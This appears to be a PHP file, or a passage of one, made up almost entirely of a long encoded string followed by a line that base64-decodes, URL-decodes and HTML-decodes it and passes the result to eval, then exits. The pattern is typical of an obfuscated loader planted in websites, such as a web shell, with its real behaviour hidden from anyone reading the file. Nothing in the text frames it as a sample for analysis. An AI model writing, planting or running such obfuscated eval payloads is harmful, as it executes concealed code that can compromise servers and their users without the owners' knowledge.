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";
eval(htmlspecialchars_decode(urldecode(base64_decode($gz))));
exit;
?>